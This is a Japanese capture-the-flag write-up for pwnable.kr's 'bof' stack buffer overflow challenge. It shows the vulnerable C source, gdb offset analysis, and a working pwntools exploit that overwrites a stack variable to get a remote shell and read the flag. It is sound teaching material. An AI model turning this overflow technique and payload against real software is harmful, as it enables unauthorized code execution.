Pwnable.kr 「bof (Toddler's Bottle)」Writeup
基本的な Stack BufferOverflow
pwnable_kr-bof
Summary
本問題は,典型的なスタックベースのBoF問題です.
- Category: Pwn
- Description: Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?
- Tools & TechStack:
- C
- gdb
- Release:
N/A
階層構造
1
2
3
4
5
6
7
8
9
.
├── bof
├── bof.c
├── Dockerfile
├── flag
├── readme
└── run.sh
1 directory, 6 files
バイナリ保護機構
1
2
3
4
5
6
7
8
9
10
$ file bof
bof: ELF 32-bit LSB pie executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1cabd158f67491e9edb3df0219ac3a4ef165dc76, for GNU/Linux 3.2.0, not stripped
$ checksec --file=bof
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
ソースコードの解析
if文内に到達するために,main() から呼び出される func() 関数の key 引数 0xdeadbeef を BoFを用いて 0xcafebabe に上書きすることができれば,シェルが取得できそうです.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
典型的な Buffer Overflow が可能な実装になっていますが,Canary Token を含むバイナリの保護機構が有効になっています.
BoFが可能であるかを検証するためにスタックフレームを確認します.
overflowme[] から key までのオフセットを測る
func+51 (overflowme) の lea eax,[ebp-0x2c] より,バッファの先頭アドレスが ebp-0x2c であり,同様に,cmp DWORD PTR [ebp+0x8], 0xcafebabe より,key 変数のアドレスが ebp+0x8 であることが分かりました.
NixOS は FHS 非準拠で
/lib/ld-linux.so.2が存在しないため,動的リンクされた配布バイナリはそのままでは実行・デバッグできません.そのためsteam-runで FHS 環境を被せて解決しました.
1
2
3
4
5
6
7
8
9
10
$ NIXPKGS_ALLOW_UNFREE=1 nix-shell -p steam-run --run 'steam-run gdb ./bof'
(gdb) disas func
Dump of assembler code for function func:
#...
0x00001230 <+51>: lea eax,[ebp-0x2c]
0x00001233 <+54>: push eax
0x00001234 <+55>: call 0x1060 <gets@plt>
#...
0x0000123c <+63>: cmp DWORD PTR [ebp+0x8],0xcafebabe
#...
レジスタを読むため gets() が呼ばれる直前にbpを張り,実行してから計算すると,overflowme[] から key までのオフセットが 52byte であることが分かりました.
1
2
3
4
5
6
7
(gdb) break *func+54
Breakpoint 1 at 0x1233
(gdb) r
(gdb) p ($ebp+0x8) - ($ebp-0x2c)
$1 = 52
Exploit を書く
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'
p = remote("pwnable.kr", 10003)
# 52byte 目まで適当に埋める
payload = b'A'*52 + p32(0xcafebabe)
p.sendlineafter(b"overflow me : ", payload)
p.sendline(b'ls; cat flag')
print(p.recvall(timeout=3))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ python3 exploit.py
[+] Opening connection to pwnable.kr on port 10003: Done
[DEBUG] Received 0xe bytes:
b'overflow me : '
[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 41 41 41 41 be ba fe ca 0a │AAAA│····│·│
00000039
[DEBUG] Sent 0xd bytes:
b'ls; cat flag\n'
[+] Receiving all data: Done (99B)
[DEBUG] Received 0x38 bytes:
b"/bin/sh: 0: can't access tty; job control turned off\r\n"
b'$ '
[DEBUG] Received 0xb bytes:
b'bof flag\r\n'
[DEBUG] Received 0x20 bytes:
b'<REDACTED>\r\n'
b'$ '
[*] Closed connection to pwnable.kr port 10003
b"/bin/sh: 0: can't access tty; job control turned off\r\n$ bof flag\r\n<REDACTED>\r\n$ "
Post-Mortem & Dead ends
p.interactive() で出力が返らない
p.interactive() でシェルを操作しようとしましたが,プロンプト $ は返るのにコマンド出力 (cat flag 等) が表示されない現象に遭遇しました. そこで Claude Opus 4.8 を用いて原因を探りました.
原因: リモート側 stdout のフルバッファリング glibc は出力先が tty か否かでバッファ方式を切り替え,ソケット/パイプ相手ではフルバッファリング(4KB 蓄積 or プロセス終了まで flush されない) になります. can't access tty; job control turned off はこのソケット接続 (tty 不在) を示しています.process() は既定で PTY を割り当ててこのバッファリングを無効化するが,remote() には PTY が無いため影響をそのまま受けます.
recvall(timeout=3): コマンドを先送りしてから一定時間ソケットを drain するため,子プロセス終了時の flush をまとめて回収でき,出力が取れる.interactive(): 届いた瞬間に流すライブ表示のため,flush 境界に達しない短い出力が表示されないように見える (プロンプトはシェルが入力待ち前に flush するので届く).
対処: バッファ依存の shell ではフラグ取得目的なら send/recv (sendline -> recvall) が確実.対話が必要なら shell 内で stdbuf -o0 cat flag や script -q /dev/null を噛ませて行バッファへ戻す.
References
各保護機構があるのに BoF が可能な理由
- NX: シェルコードを注入せず既存の
systemを呼ぶだけ - PIE: アドレスを一切使わず
keyの値を書き換えるだけ - RELRO: GOT は触らない
Canary の検証は関数エピローグ(func+136~)にのみ挿入されるため,エピローグに到達する前に system("/bin/sh") が発火すれば canary が壊れていても検知されません.
key は ebp+0x8,system 呼び出しは func+107 であり,これはいずれも func+136~... より 命令順で前 にあるため,Canaryで検知される前に key 変数を上書きすることが可能な構成になっています.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ disas func
#...
0x0000123c <+63>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x00001243 <+70>: jne 0x1272 <func+117>
0x00001245 <+72>: call 0x1080 <getegid@plt>
0x0000124a <+77>: mov esi,eax
0x0000124c <+79>: call 0x1080 <getegid@plt>
0x00001251 <+84>: sub esp,0x8
0x00001254 <+87>: push esi
0x00001255 <+88>: push eax
0x00001256 <+89>: call 0x10b0 <setregid@plt>
0x0000125b <+94>: add esp,0x10
0x0000125e <+97>: sub esp,0xc
0x00001261 <+100>: lea eax,[ebx-0x1fe9]
0x00001267 <+106>: push eax
0x00001268 <+107>: call 0x10a0 <system@plt>
#...
0x00001285 <+136>: mov eax,DWORD PTR [ebp-0xc]
0x00001288 <+139>: sub eax,DWORD PTR gs:0x14
0x0000128f <+146>: je 0x1296 <func+153>
0x00001291 <+148>: call 0x12e0 <__stack_chk_fail_local>
